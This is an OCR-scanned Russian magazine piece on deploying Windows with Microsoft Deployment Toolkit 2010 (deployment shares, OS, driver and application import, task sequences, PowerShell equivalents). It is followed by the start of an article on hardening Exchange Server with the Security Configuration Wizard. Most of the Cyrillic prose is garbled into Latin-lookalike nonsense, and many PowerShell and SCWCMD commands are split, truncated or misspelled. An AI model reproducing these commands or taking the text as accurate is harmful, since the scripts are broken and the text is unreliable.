x86/x64-Bepcrn or WinXPSP3 o Win2k8R2, 3a cruriodeHHeM BapHAHTOB
Home, cepBeprble — Toneko Standard wmi Enterprise.

Bo BpemA ycTaHOBKY Oy Ay T yAaneHbl Npeabityinie sepcr MDT nBDD. Ie-
peauHcTamAanmel Microsoft pekoMeH/yeT co3aTh PesepBHYIO KOIIHIO Cep-
Bepa, Ha KOTOPBIH pou3BoAnTea yeranoska MDT 2010. [Ipasza, He coBceM
MIOHATHO 3a9€M, BEIb CYIECTBEHHBIX H3MEHEHHH B CHCTeMe He TIPOMCXO/THT.
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[1py HAZIMYUH BCEX COCTABJIAIOIIUX Mporiecc yeTaHoBKH MDT He BbI/IsAuT
CJIOKHBIM U He IO/DKEH BhI3BaTh pobiem. [IpocTo ciesyeM yKazaHuAM
MacTepa, MoATBepkJas yeTaHoBKH. [Tocse aToro yeraHapaupaem WAIK
(mozpob6uo npouecc onucan B crarke «CamocfopHele oxaa» 8 3C_01_2009),
T10 XO/Iy MHCTAJUIALIMH YCTaHOBIIKK MporeprT Hamayre MSXML 6.0 (on
ecTb Ha iucke WAIK). Bee, mepBbIH 3Tarn no3a 1, HacTalo BpeM:A 3aIlyCKATh
Deployment Workbench ua meH0 «ITycks.

3HAKOMUMCA CWORKBENCH Workbench asnisierca ocHacTKOH Ais
KOHCOIN ynpasieHna MMC, IpH IOMOLIHM KOTOPOH BBIIOIHAKTCA BCE Ha-
CTPOMKH. MeHIO CO/IepHHT ABe BKIaAKH (ectd He yetaHoBneH WAIK, BTopas
OyaeT HeaKTHBHA):

* Information Center (MHOOPMEUMOHHENA LIEHTP) — NOKYMEH-

TALMA U DYKOBOICTEC 10 UCNONB20BaHMD "Getting Started",

CCHITKM Ha HOBOCTHHE DecypcH npoexta, u 8 "Components"

HailgeM MHOOPMAalIMK 110 KOMIICHEHTaM, HMCIoIb3yeMem MDT ;

* Deployment Shares (PecypCh YCTAaHOBKM) — oBmMiA pecypc,

roe cobupanTces dainu yoTaHoBkM OC, NpUIOKeHWii, lpalisepa,
MaTYM U BCE OCTANTRHOE, 4T0 BYIeT MCIOoNBIOBaHO IPH YCTa-

HOBEE.

BMDT 2008 Update 11 2010 Betal sxranok 66110 getsipe (+Task
Sequences, +Deploy), a cam niporiecc padoThl BBLVIAEL HECKOJILKO CIMKHee
usamnyranee. Heo6xoaumo HeL10 CO3aBaTh TUCTpHOYTHBHEIE PECYPCEL,
3aTeM BAPYroM MEHIO — TOYKH YCTAHOBKH, TEIePhb 3TH GYHKIHMH HAXOIAT-
caBogHom Mecte— Deployment Shares, 9To caenano mpouece HoAr0TOBKH
6osee IPOCTHIM U TOHATHEIM.

[Mepex Hadanom paboTel 0TKpeBaeM «Components», 0OTMeIaeM HyXKHbIe
KOMITOHEHTHI B rpyre «Available for Download» 1 HayxuMaeM MOABHBITYIO-
A BHU3Y CTPAHHIB KHOMKY «Downloads.

HeoBs3aTe/BHO A0KIAATECA 3APY3KH KOMIIOHEHTA, MOKHO YKa3aTh Bee HeoO-
XOAMMBbIE M MITH TTHTE Kode. MDT MeToauyHo ckadaeT Bee, YT0 OBUI0 YKa3aHo.
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YCTAHOBKA KOMMNOHEHTOB BMDT

LT

b info

° WAIK [Windows
Automated
Installation Kit] —
KOMINEKC CPeACTs,
MO3BONAIOWMX TPOBO-
NUTL NOATOTOBKY

A 3BTOMAETU3UPOBAH-
HOE pazeepTbiBanue
0C Windows

. OTOM‘ Kak MCNoNb30-
saTs WAIK, ynTai

8 cTaTke «CamMocbop-
Hble DkHa», onybnuko-
BaHHOM E AHBAapCKOM
Homepe J-3a 2009
rog.

e Cratblo «Havanshnk
CeTHU», NOCBALRHHYIO
SCCM 2007 R2, yutait
BE@BryCcToBCKOM HOME -
pe 3 za 2009 rog.

3arem [IOBTOPHO 0TMEYdeM KOMIIOHEHT, HO TeIepb MOABIA-
FOTCSA IBE KHOTIKH «Install» 11 «Browses (paiiibl CKauMBAIOTCA B
noakaranoru «C:\Program Files\Microsoft Deployment Toolkit!,
Components»). [TocienoBaTensio HazxMad «[nstall», cTaBumM
Bee cnuToe. Teneps pabowas cpejia MOMHOCTEIO TIOATOTOBIEHA.

CO30AHME PECYPCA YCTAHOBKM Ianpnelimmii iporecc
BBHIVIAINT CIEAYIONIHM 00pa3oM — co3/laeM, HacTpanBaeM i
3arT0THAEM PECYPC YCTAHOBKH, YKa3bIBaAEM ITOC/Ie0BaTe b-
HOCTH 3324, BbIIIOJIHAEM OOHOBIeHHE YCTaHOBOYHOTO Pecyp-
ca v, HaKoHell, cTaBUM chcTeMeL. Terepb 000 BCeM IT0 IOPAAKY.
Buibupaem B koHconu «Deployment Shares» u 3areM B OKHe
«JleffCTBHA» MITH B KOHTEKCTHOM MEHEO CCHITKY /TS CO3/laHHA
HOBOTO pecypca yeranosku — «New Deployment Shares.
TosBAgeTCS MACTEP CO3AAHHA HOBOTO PECYPCd, B IEPEOM
OKHe YKa3bIBaeM ITyTh K KaTaJoTy, KOTODBIH OyZeT BhICTY-
naTth Kak 001it pecypc. [lo ymonyanHio npejiaraeTcd ero
PasMecTHTh Ha JucKe «C», HO yauThIBadg, 4To 06paszs OC
MOTYT 3aHUMATh 0BONTBHO MHOTO MECTa, TY4Ile BBIEINTE
niox «Deployment Share» otgenpueiii pasaen. Hanpumep, £:5\
DeploymentShare$ (caenaem ero ckpsrTeinm). Ha crresyiomenm
mare nnpoBepaeM rnpaemibHocTh UNC MMeHn pecypea (W
SERVER\DeploymentShare$) # BEOZMM KPaTKOe OTTHCAHHE.
Jasee MacTep CIIPAIIMBaET, HY}KHO M CO34aBaTh obpas rocnie
3aBepIIeHNsA YCTaHOBKH Ha KoMItbioTep — «Askif an image
should be captureds. Eciii HeoBX0oaMMo CO3AaTh STANTCHHBIH
0bpas And pacnpocTpaHeHHs Ha HECKOMBKO CHCTEM, (rakoK
MOJKHO OCTABHTE B3BEI€HHBIM, HO IIpH paboTe B JOMeHHOH
cpejie eTo PEKOMEHIVETCH He HCTIOMb30BaTh. B mro6oM cnydae
9TaIOHHBIH 06pa3 MOXHO 3aTeM CHATD CAMOCTOATENBHO.
Hasrarie «Allow admin password» yeTaHOBACHHbLI a0k «Ask
user to set the local Administrator password» TO3BONHT IOTB30-
BaTe/LAM 3aJaBaTh Tapoib IOKaMbHOTO aAMUHKCTpaTopa. [To
VMOI4aHHIO OH YCTAHOB/EH, HO B O0/IbIIHHCTEE CTy9aeBaToT
NapaMeTpJ/IyUIle OCTABUTE HeaKTHBHEIM. Mnem aanbine. Ecnu
KJIIOY TIPOIVKTA BO BPEMSA YCTAHOBKH CHCTEMBbI JO/KEH BBO/IHTE
TIO/IE30BATE/Ib, AKTHBHPYEM QoK «Ask userfora productkeys.
Yex1aeMcd, 9T0 Bee yCTaHOBKA 3a/aHbI [IPABHIIBHO, M 3aBepITa-
em pabotymacrepa. [lociie co3aH|A pecypea MOYKHO COXPaHHTD
BBIBOJ M, HAKAB «View script», mpocmorpers PowerShell -ckprm,
KOTOPBIF HCITOIB30BANICA UL €r0 co3JaHuA. Hanpumep:

Add-PSSnapIn Microsoft.BDD.PSSnapln # B rocue-

IVOIUX OPUMEeDEx 5Ty CTPOKY BYleM OInycKaTb
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\mpart Operating System Wizard

Y;g 0S Type
.
05 Type Choase the e of coealing syten to add
Souce
e ) Fullsel of gouce fies
Selmp The peratrg system being acded corsist of source fise bom  Windows DY, C0. o eavalert
WOS Serven [
z::;“:y” Curton nege e
T 2 a apuane iage (WIM ) that ou wish ko ‘
Canfimaton ‘
£ Winons Degkmet Sevvices images
images avalsbie on s spe a0 sever, (
|

new-PSDrive -Name "DS001" -PSProvider
"MDTProvider" -Root "f:\DeploymentShares"
-Description "MDT Deployment Share"
-NetworkPath "\\SERVER\DeploymentShares"
add-MDTPersiste

-Verbose | rive -Verbose

B ganbHEHIIeM MOKHO COXPaHUTb IIOJIYSHBITHACA aiir
NewDS5.psl M HCTIOMB30BATE IIPH CO3MaHUH IPYTHX PECyPCoB
YCTaHOBKH.

HACTPOMKA PECYPCA YCTAHOBKM Hossiii pecypc nosesa-
erca B«Deployment Shares»; LeKHYB 10 3HAKY «+», MOKHO
PasBepHyTh M MPOCMOTPETh €I'0 CTPYKTYPY, Ha3BaHMA TOAKa-
Tanoros (Applications, Operating Systems, Out-of-Box Drivers,
Packages, Task Sequenses, Advanced Configuration) cootserc-
TBYIOT CBOEMY HazHAYEHUI0. ECaM OTKPHITE B «[IpOBOAHUKE»
KATAJIOT pecypca yCTaHOBKH, TO YBH/MM, UTO HA3BAHHA 9THX
TYHKTOR COBMNAZAIOT ¢ IIO/IKATaIOTaMH, PaCIIOI0KEe HHBIMEI
BHYTPH.

[Tocsie cosganma pecypca ero Hy»KHO HacTPOKTS, AobGasus OC,
ApaiBepa, aTdy i HPUIC:KeHHA, KOTOPbIe OYAYT UCTIOMNb-
30BaThCA IPH co3ZanuH 0bpasa. [lo cyTu, Bed ganbpHean
paboTa 3ak/IiaeTcA B IOCTe0BaTeNbHOM BEI30BE MaCTePOoB U
3AMOMHEHNH TAPAMETPOR BO BCEX YKA3aHHBIX BhIIIE TYHKTaX.
Cragana gobasum OC, TTepexoaim B «Operating Systems» 1
BEIOMpaeM B MeHIo uMIopT OC — «Import Operating Systems.

IMoABHBIIMHCA MACTEP HA IIEPBOM [IATE 3aITPOCHT, YTO MBI
XOTHM UMIIOPTHPOBATD; TPEAIaracTcsa BbIGpaTh OAHH H3 TpeX
BAPUAHTOB: |

* Full set of source files — OC ¢ yCTAaHOBOYHOTO
CD/DVD um monobHBX MCTOYHMKOB |
* Custom image file — moproToBReHHENL WIM-dain;
* Windows Deployment Services Images — cbpa3s,

OOCTYIHEE WDS.

Jlanee paccMoTpHM IepBbli BaprasT. Ha aTame BriGopa
HCTOYHHKA «Source» ykazpieaeM myThb K CD/DVD-11puBoay Wiu
KATano0ry, B KOTOPOM HAXO/AATCA YCTaHOBOYHEIE (aiiieL ITo
YMOMYAaHHIO Qaiibl ¢ YKa3aHHOTO UCTOTHUKA OY/IYT KOMHPO-
BaTBHCA Ha pecypc yeraHoBKH. Ho e/l B KaJecTBe MCTOYHUKA
HCTIO/TB3YETCA FECTKUH JMCK, TO YeTaHOBHB duaxok «Move the
files to the deployment share instead of copying them», macTep
BMECTO KOTTHPOBAHHA TepeMecTyT (aiinel. 3ajaeM Haspanue |
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KOHEYHOTO KaTanora, 1o yMOTIaHHEO B KAUecTBe MMeHH Oyzer
HemobsosaHa sepersa OC. TTogTEep:KAaeM B OKHe «Summary»
VCTAHOBKH M IKAEeM OKOHYAHIS IPOLecca KOMMPoBaHua daii-
JIOB, TOCIe Yero B MeHo «Operating Systems» MOABATCA BCe
AocTynHbe Beperun OC.

3TH HACTPOMKHM TAKIKE MOXHO [TPOU3BECTH CPeACTBAME
PowerShell:

New~-PSDrive -Name "DS001" -PSProvider
MDTProvider -Root "f:\DeploymentShares"
impert-mdtoperatingsystem —path «D5001:\
Operating Systems» -SourcePath "J:\"
-DestinationFolder "Windows 7 x64% -Verbose
JonorHuTenEHELE TAKeThl 0OHOBIEHHH, A3BIKOBLLe hailibl,
cepBHC-TIakH U T.71. lobasiAtoTes B MeH:o «Packages». 3gech
[OCTYIIA€M aHATOTHYHO TIPEIBIAYIIEMY IHary: Belbupaem
nyHKT «Import OS packages» 11 ykasbiBaeM Ha Katanor (BupH-
Mepe F:AMCU), B KOTOPOM pacnoozKeHsl Gpaliiibl ¢ pacimpe-
Huem CAB 1 MCU. 3aTeM MacTep NpOM3Be/eT CKaEUPOBaHKe
(B TOM UHCIIE M TOAKATAIOTOR) ¥ MMITOPTHPYET [TAKETh B
npoekT. Ta ke omepanus ciwiamu PowerShell:

New-PSDrive -Name "DS001"

-PSProvider

MDTProvider -Root "f:\DeploymentShares$"

import-mdtpackage -path ckages"

-SourcePath "F:\MCU" -\

[locne HMIIOPTA HOBBIE TIAKEThI 6}’,[[}"{' OTO6PEDKBHI;1 BO BKJI4/IKe

| «Packages», BrIOpaB M060¥ 13 HUX 1 HAMKAR CCRLTKY «CBOHCT-

Ba», MOMKHO M3MEHHTB HEKOTOPEIE CBOMCTBA CKPUIITA. B
YACTHOCTH, J00ABHUTE ONHCAHNE ¥ H3MEHWTE BRIBOANMOE HMA.
Jlpa draskka a3y «Hide this package in Deployment Wizard»»

| u«Enable» TIOMOTYT «CIIPATATH» MaKeT IIH OTKITIOYHTS €T0,

Application Type

Application Type Specify the lype of application to add,

Details

Source %) Application with source files

Destination Copy the source files for this application ta the deployment share, which will be used for installing

Command Details the application.

Summaty

Progress () apphication without source files or elsewhere on the netwark.

Confimation Either na source files are required for this application, o the application exists at a separate UNC
path [e.0. 8 DFS share]. I

) Application bundle,

Cresle & new application bundle. There is no installation command associated with this
application. Instead, only the depandencies of this application will be installed. These
dependencies can be configuied after the item has been added.

eCTTM PH TeKyIeH yeTaHOBKe B HeM HeT HeoGxoaumocTty. Ecin
IIAKET He Hy:eH COBCEM, ero IIPOLIe Y/AIHTh, BEIOPAB B Ione
«/leHCTBHA» COOTBETCTBYIOIIHH MYHKT.

AHanornaHo 106aBIAIOTCA M ApaiiBepa yeTpocTs. OTMeuaem
«Qut-of-Box Drivers», Bribupaem ccbuiky «lmport Drives» 1
ykaseiBaeM Ha KaTanor ¢ INF- 11 CAB-daiinamu (mociegnme
MacTep B HOHCKHX,HP&I‘:IBEPOB PaclaKoBRIBAET aBTOMaTH4ieC-
k1). JloToTHUTeNBHELH Giraykok «Import drives even if they

are duplicates of an existing drivers paspenrsT KONHPoBaHUE
IyormKaToB Apaitsepos. [lo okonyannuy Haxaimaem Finish u
CMOTPHM, 4TO J00ABIIOCE. BRIGPaB CROHCTEA, MOKHO I1PO-
CMOTpeTh OAPOOHOCTH ApaiBepa, YKaszaTh mnatgopmy (x86,
x64) MM OTKIIIOUNTD ApaiBep.

DTy Onepannio IerKo aBTOMaTH3HPORATh ITPH MOMOIITH CKPHIT-
Ta PowerShell:

PSDrive -Name "DS001" -PSProvider

MDTProvider -Root "f:\DeploymentShares"
er -path "DS001:\Out-of-

Box Drivers" -SourcePath "G:\drivers"

ndtdr

import

ortDuplicates -Verbose

OOBABNAEM NPUNOXEHHWA CoberBenHO TOYTH BCE TOTOBO
A paspeprhiBanua OC. OcTanoch J0IMOJIHHTE YCTAHOBKY
TPIIOKEHUAMH, YT00BI B HOCIC/ICTBHY HE PA3BOPadHn-

BaTh UX BPY4HYI0. [[porpaMMbl ycTaHABAMBAIOTCA B MEHIO
«Applications» Beibopom «New Applications». Macrep momnpo-
CHT 334 Th MCTOTHHUK YCTaHOBKY. [To YMOTIaHHIO IpeIara-
ercs «Applications with source files», xoToprii 1 Beibrpaem

B OOBIIMHCTRE CIy4aes. 371eck IPOCTO CeyeM YKazaHHAM
macTepa. Ha mare «Details» 3amosHseM oncaHHe, OCHOBHBIM
ApnAerca «Application Name», B KOTOPOM IIPOIHCEIBAEM
Ha3BaHHe MPIWIOHKEHHS, 0CTATBHEIE TTYHKTH TOMETEHBI KaK

PepakTop MDT Wizard Editor

Ha camoM fesie BO3MOXHOCTeH 1o KoHduryprposan#io y MDT 2010 na nopazgok Ooiblire, 4eM OIHECAHe B cTaThe. Ho HekoTopsle
TPedYIOT 3HAHUH OT/Ie/IbHBIX TOHKOCTEH. TaK MHOTHE YCTaHOBKH, UCIOJIb3yeMBble Ha KAneHTckux OC, coxpadeHs! B XML-daii-
ne DeploymentShare$\Scripts\DeployWiz_Definition_ENU.xml. BpyHyto KOHOUTYPHPOBATE €T0 HEYA0GHO. 34eCh MOKET
omogb MDT Wizard Editor (mdtwizardeditor.codeplex.com,/Wiki/View.aspx) — HebobIIasg yTrmmTa, HanucanHag Ha NET
Framework 2.0 1 pacnipocrpadsemas 1o yerosuam Microsoft Public License (Ms-PL). PeiakTop Z0CTaTOYHO POCT B UCIIO/NB30-

BaHuH: BRIGHpaem XML-cdaiin, moce 4ero HacTpOH K| BHYTPHM MOXKHO OTPEaKTUPOBATh B PYYHOM HJIM BU3YAIbHOM PEXUME

ITPH MOMOIIM Nepexoyartenei (Bkaajxa Preview). Bee HACTPoITKM 3aTeM MOXHO MPOTECTHPOBATE.

HTTP://WWW
L

» links
Pecypcel TechNet,
nocesueHHsle MDT:

l DVD

> dvd

* HanpunarzeMom

K KYPHany AMCKe Tol
Hangews PowerShell-
ckpunTsl v MDT Wizard
Editor.

= B Bupneoponnxe

Mbl MOKaXEM, Kak
ycraHoBuTb Microsoft
Deployment Toolkit
2010, cozpanmnm

W HarMoaHUM pecypesl
YCTAHOBKM, 3 TakxKe
creHepupyem 3arpy-
304Hble 0Dpassl.
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' YCTAHOBKA OC HA KNIMEHTCKOW MALLMHE C UC-

No/Ib30BAHUEM MDT

«Optional». [lanee yra3elBaeM KaTaI0L € yCTa-
HOBOYHBIMH akTaMu 1 Ha CIeyIoIeM mare

— KOMaHAHYIO CTRPOKY AJI4 YCTAHOBKH. KOMEIH,EE]

34BHCHT OT KOHKDETHOTO [IPHJIOKEHHUA, 3/1eCh
JIyYIITe TOMCKATE HHQY HA caliTe pa3paboTInKa.
Hanpumep, s Firefox MosxHo BBecTH:

FirefoxSetup.exe /D=<IONHLA YT K

KaTanory yCTaHOBKM:>
Inn, KaK BapHaHT, HCITOAB30BaTh INI-datin:

FirefoxSetup.exe /INI=F:\source\

firefox\setup.

Dajin setup.ini MOMKET BBIMIAAETE TPHUMEPHO TAK:

setup.ini
| [Installl]
InstallDirectoryName=Mozilla
Firefox
QuickLaunchShortcut=true
DesktopShortcut=true

StartMenuShortouts=true

[MoaTBEp:KAaeM HACTPOHKH 1 HaxkuMaeM Finish.
AHaTOrHIHBIM 00Pa30M HacTPaHBaKTCA H JIpy-
THe IPHIOKEHE, B TOM grcite 1 MS Office,
BrIzBaB OKHO CBOMCTB HMIIOPTHPOBAHEOIO IPH-
JI0XKEHHA, MOIKHO H3MEeHWTh HACTPOHKH, yKa3aTh,
JUTA KaKWUX TiaTdhopM 0HO OyAeT VCTAHABIN-
BaTbCA (110 yMoI9aHuIo Bee), B«Dependencies»

—IIpeAnncaTs 3aBHCHMOCTH:

New-PSDrive -Name "DS001"

-PSProvider MDTProvider —-Root "f:\

|  DeploymentShares"

import-MDTApplication -path
"DS001:\Applications» -enable
"True" -Name "Mozilla Firefox 3.5.3"

efox» -Version

ShortName «Fi
| "3 .B8.3* —Publisher "Mezilla'

-Language "ru» —-CommandLine "Fi

Setup 3. rogram Files)

Mozilla Firefox" -Workingbi

" A2pplications\Mozilla F

ICIrosSof

FVRIL T Ll

A

PEOAKTO

3.5.3» -ApplicationSourcePath
«F:\firefox» -DestinationFolder

«Mozilla Firefox 3.5.3» -Verbose

Ecmi npunoskenie ycranapausaeTca u3 UNC-
Kataviora (Hanpumep, DFS), miu He umeer
HCTOYHUKA, TO B IepBoM oKHe «New Application
Wizard» Betbupaem «Applications without source
files or elsewhere on the network». B atom ciyuae,
IIOMMMO ONHMCaHHUA, IPOCTO yKa3bIBaeM KOMaHIy
3amycka. Tperuii myHkT «Application bundle»
TpefHasHaveH 115 pa3bopoK € 3aBHCHMOCTAMIL.

CO3AAHUE NOCNEAOBATEJIbHOCTH
3A[AM TMocnegoBaTETBHOCTE 3a/1a4 ITPEJCTAB-
JigeT cobo OIHcaHHe [IAT0B, BLUIOJIHAeMBLX

BO BpeMA ycTaHoBKH. [lepexozum B «Task
Sequences» 1 BEIOWPaeM KOMAH/IY JJIs1 CO3AAHUS
HOBOH N0OCA€0BaTeIhHOCTH 3aa9 — «New Task
Sequence», HanepBoM Liare Macrepa cileiyer
BBeCTH YHUKanbHEIH ID (win7-001) 1 HazBaHWEe
(Windows 7 Install), oninoHanbsHO KOMMEHTA-
puii (TTpH GOMBIIOM KOMHYECTBe 3aad peMapKH
TMOMOTAIOT Iy4ile OpHeHTUpoBaTbed) . Cleayro-
muii mar «Select Template» mo3songer BRIGpaTE
mabnoH 3agayun. [To yMONYaHMIO IPe/IaraeTcs
«Standard Client Task Sequence», KOTOpEIH K
OVZIeM UCIONb30BATh IIPU YCTAHOBKE K/IHMEHTCKUX
OC, mwmn «Standard Server Task Sequence» — s
cepeepHEIX. KpoMe Toro, iocTynHEI eie 5 33/1a4,
HasHa4eHHe KOTOPLIX JOJKHO BBITI) TIOHATHO U3
HasBaHuA —«Sysprep and Capture», «Standard
Client Replace Task Sequence», «Custom Task
Sequence», «Litetouch OEM Task Sequence» 1
«Post OS Installation Task Sequence».

BribrupaeM U3 NIpeUIoKeHHOTO CITMCKa 00pas
YCTAHABMHBAEMOH CHCTEMEBI, YKa3bIBaeM TPH HeOG-
XOIUMOCTH KJIHOY YCTAHOBKH, HacTpoixu OC (1M,
OpraHU3alHA, A0MAaLIHAA CTpaHuLa Opaysepa),
TIAPOJIbJIOKAIILHOTO aIMHHHCTpaTopa. [ToaTBepK-
AdeM YCTaHOBKH M OXXHAdeM 3aBEPIITIEeHHE ITpOIiecca
co3zaHus 3a71a4. BeIbpas cBoiicTBa 3a1a9H, MOMKHO
HM3MEHHTE HEKOTOPEIe HACTPOHKH: TOANIPABHTE
Unattend.xml (8e13p1Baercs Windows System Image
Manager), 100aBUTE YCTaHOBKH (GOpMaTHPORA-
HHE AHCKA, CETeBbIC HACT) pDI;'IIG/I HTaK ,I(('.UIEC) .

PMDTWIZARDEDITOR

New-PSDrive -Name "DS001"
~-PSProvider MDTProvider —Roots"£:\
DeploymentShare$"
inport-mdtlLaskseqguence -path
*DS001: \Task Seguences» -Name
"Windows 7 Install' -Template
"Client.xml" -Comments «Windows 7
Install" -ID "Win7-001" -Version
"1.0" -OperatingSystemPath
"DS001: \Operating Systems\Windows
7 PROFESSTONAL in Windows 7 x64
install.wim" -FullName "grinder"
-OrgMame "Gljuk" -HomePage

"about :blank» -AdminPassword "p@

sswi)rd» —Verbose

ITo OKOHYaHHH BCEX HACTPOeK 0OHOBHTE pecypc
YCTaHOBKH, B X07e poliecca OyJeT U3MeHeH
3arpy304HLIT 00pa3 B COOTBETCTBUH C IPOU3-
Be/leHHBIMH HAaCTPOHKaMH. BEIOHpPaeM B okHe
«Deployment Workbench» pecypce yeranoBkm 11 B
KOHTeKCTHOM MeHIo MyHKT «Update Deployment
Share». [ToasuTes macrep obHoBIeHNA. B iepsom
OKHE OYZeT IPeAIoKeH0 HeCKOMBKO BAPHAHTOR
0OHOBIEHWA — ONTHMH3ATUA (0NONHUTEb-

HO MOXHO YKA34Thb CKATHE) H PEreHePaliis
0bpasa. Mo:KHO OCTABHTh MTapaMeTPE IO
ymomgaauio. [loATBep:KaaeM YCTaHOBKH H 3KAEM.
Koryia mporniecc GyeT 3akoHYeH, B KaTanore
DeploymentShare$\Boot nosearca WIM/ISO-06-
Pa3el 1A 3aTPY3KH 32-X,/64-X OUTHEIX CHCTEM.
Janee 1SO-06pas 3aHceIBaeM Ha JHCK, C KOTOPO-
TO ¥ 3arpyxaem cucremy, WMI-06pas HCIonb3y-
&M [/ YCTAHOBKYM IPH TOMOTIH cepprca WDS
(cnemnoK HyzHO CKOIIHPOBATE B IIOAKaTa10r Boot
Images). CkpuntHa PowerShell gis obHOBIEHHA
pecypca yCTaHOBKH OYeHb IPOCT:

New-PSDrive -Name "DS00L1"
-PSProvider MDTProvider -Root "f£:4
Deployment Shares"
update-MDTDeploymentShare -path
"DSO0L:" ~Verbose

Kax BHAMIIB, TPH HenoabzoBanuy MDT 2010 —
9TO IpocTas 3ajada. 3
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B cetu nobol KoMNaHmMm MOXHO BCTRPETUTH OCTAaTOMHO BoMbLLOE Konmyec-

cepsuchl B Windows cTaBAaTCs NpyY NOMOLLM MacTepoB, C UX NePBUYHOMN Ha -
CTPOMKOW 0BbIYHO cnpaBnseTcd agMuHMCTpaTop, obnagatou i bazoBbiMy
3HaHUaMK. Ho Takada cucTeMa byaeT HeloCTaTOYHO 3aLUMLLEHA Y MOXKET CTaTb
MCTOYHMKOM NpobneM. B aTol cTaTbe pa3bepeM, Kak NOBLICUTL 3aLLUTy Gpaar-

CpaXxeHue
aTpex PPoHTaX

3awmii,aeM nonynsipHbie cepeuckl nnatdopmsel Microsoft

'TBO CaMbix pa3HoobpasHbix cepsepos — noytosslit, Web, SQL, VolP 1 MHo-

' MaHckux npoaykToB Microsoft: Exchange Server, I1S n Hyper-V.

3ALLMTA EXCHANGE SERVER ObGecnieuenue
[IPABWILHOHA 1 Gecriepefoiinot paboTE IOYTOBO-
TO CepBHCa ABNAETCA OJJHOH H3 IPHOPHTETHBIX
3aza4 aIMUHHCTPATOpa. MOKHO CITOPUTE 10
XPHITIOTEL, YTO CBOGOAHEIE CepBepa JIyHlle, HO
dakT ocTaerca paxToMm — Exchange Server
M0JIb3yeTcA DOBII0H MOTYIAPHOCTBIO CPEln
MHOTHX KOMITaHEH, 6/1arofapa HaJe)XXHOCTH
paboTHl, TecHOM HHTErpanyK ¢ Active Directory u
[1aHupyIomuM occobeHHocTaAM. [1o faHHEIM pas-
HBIX HCTOYHHKOB MY OTBOJAT 2-3 MecTo (Tocie
Sendmail). A aTo orpomuas nudpa. [porece
ycranoBkH 1 HacTporkn Exchange Server 2007
OB PacCCMOTPEH MOMM KOJUTETOH B OKTAODE-
ckoM HOMepe 3¢ 3a 2007 roa, Ho uToOBI JOBECTH
cepBep 10 yMa, HeoOX0JHMO TIPOH3BECTH ellje
pAf AeCTBHIA.

MOKHO IPOYUTATE KYIY MaHyaloB U PEKOMEH-
JIATIHii ¥ BBITIONHHTH BCE, UTO B HHX HATIHCAHO.

Sl pacckaky o 6ostee ipoctoM myTH. B SP1 s
Win2k3 cran goctymen Macrep HacTpoiiku be3o-
nacHocr# (Security Configuration Wizard, SCW).
BH3apa 10CTATOYHO IPOCT B 06 pallleHuH, — OTBe-
THB Ha HECKOIBKO BOIIPOCOB, MOMKHO COKPATUTE
KOJIMYECTBO YH3BUMBIX MECT U OTIPEJeTHTE MEPLI
JU7IS TIOBBITIEHMST GE30TaCHOCTH B COOTBETCTBHM

C POJLIMH, BLIIIONTHAEMEIMH cepBepoM. Ho HyxHO
MOMHUTB, 9T0O MacTep He 3aHAMaeTcA Pa3BepThl-
BaHHEM HOBhIX KOMITOHEHTOB M HE HACTPauBaeT
DOJIH, 3TO 3ajava afMHHHCTpaTopa.
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ITo ymonuauuio SCW He ycTaHaBIMBaeTCA, OH
AOCTYIIeH B KOHCOIH «YCTaHOBKA U yAae-

HHe IPOrpaMM — YCTAHOBKA KOMIIOHEHTOB
Windows». [IpocTo oTMedaeM «MacTtep
HACTPOHKH 6e30MacHOCTH» H CTaBUM 0OBIYHBIM
obpazom (moHag0OHTCA CHCTEeMHBIH JUCK) .

Ho ecnu nmocne ycTaHOBKH 3anTyCcTUTh «SCW
Viewer» (14 ucnonbiopanusa SCW tpebyrorea
TIpaBa aAMHHHCTpaTOPa AOMeHa) H IPOCMOT-
peThb 6asy JaHHBIX HACTPOEK 0e301aCHOCTH, TO
0OHapy:KUM, 94TO B CHHCKE H3BECTHEIX poJTeit
MMEIOTCSA HACTPOHKH TONBKO /s Exchange
2003, a gus 2007 ux Het. JoOaBUTb HYKHbIE
poJn o9eHb erxo. Microsoft BMecTe ¢ ycra-
HOBOYHBIMH dainamMu Exchange npepnaraer
cdattnsl-paciupenns ana SCW. Haxoanm B
nogxaranore Scripts gatiner Exchange2007.xml
1 Exchange2007Edge.xml (3 ciiygyae HCIIOIB30-
BaHuA cepeepa Win2k8 6epem Exchange2007_
Winsrv2008.xml i Exchange2007Edge_
Winsrv2008.xml), KoTopEle TpeACcTaBATIOT
co00H mabaoHEl De30NacHOCTH, HCIIOIb3YeMbIe
SCW B cBoei! pabore. ®aiin Exchange2007.

xXml coAepKMUT HACTPOIKH JJIA BCEX posiei
Exchange, 3a uciniouentem Edge Transport.
HamnowmHio, uto poas Edge Transport cymec-
TBEHHO OTIINYAETCH OT OCTANBHEIX POJIeH
Exchange. Taxoif cepBep ycTaHaBAMBAETCA, KAK
npapuao, B DMZ 1 npuHuMaeT Ha ce64 e pBbIi
yaap. [Toaromy rpebopanus k ero GezomacHoc-

|Thne opyrue. YacTo oHK 3anylleHbl B BUPTYallibHbIX MalllMHAX. YuntbiBag, uto :

TH CHIBHO OTAHYAIOTCA OT CePBEPOB, HAXOAA-
IMMXcA M0 3aMUTOH MeKCeTeBbIX D9KPAHOB.
Tarcke 3T0 e/HHCTBEHHAA POJIb, He Tpebyroman
ToAKIoUenua k Active Directory. CooTBeTc-
TBeHHO A1 posiH Edge Transport HcmonbayeTces
daitn, cogepxramui npedukc Edge.

Yrobb1 SCW-daiins! OBLTH BHIHEI MacTepy, Hx
clelyeT CKOIMMPOBATE B KaTanor %SystemRoot%\
security\msscw'\kbs, a 3aTeM 3aperucTpupoBaTh
pu HOMOIY yTHIATE SCWCMD.EXE (rpa-
duaecknii Bapuant — SCW.EXE), ykasas uma
TIOMIUTHKH U ITYTh K daiiny nrabnona:

> SCWCMD Register /
kbname : Exchange2007 /kbfile:C:\
Windows\security\msscw\kbs\
Exchange2007 .xml

> SCWCMD Register /

kbname: Exchange2007Edge /kbfile:C:\

Windows\security\msscw\kbs\

Exchange2007Edge . xml

B oTBeT MBI JO/KHBL TOTYYHTh coobienne «Ko-
MaH/la BEIIOIHEeHa YCIEMHO», a B KaTanore kbs

noseaTed Apa dainra — Exchange2007]loc.xml i |
Exchange2007Edgeloc.xml, B KOTOpBIX cozepicar- |
¢s1 00 BABNIEHIA POTTelt.

Keraru, npu nomony SCWCMD MOKHO TPOCMOT-

PeTh HACTPOIKH, yKasaHHble B XML-daiinax.
|
Hanpumep Tak:

1 — e o
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> BCWCMD View /x:C:

\Windows\security\ms:

Exchange2007Edge . xml

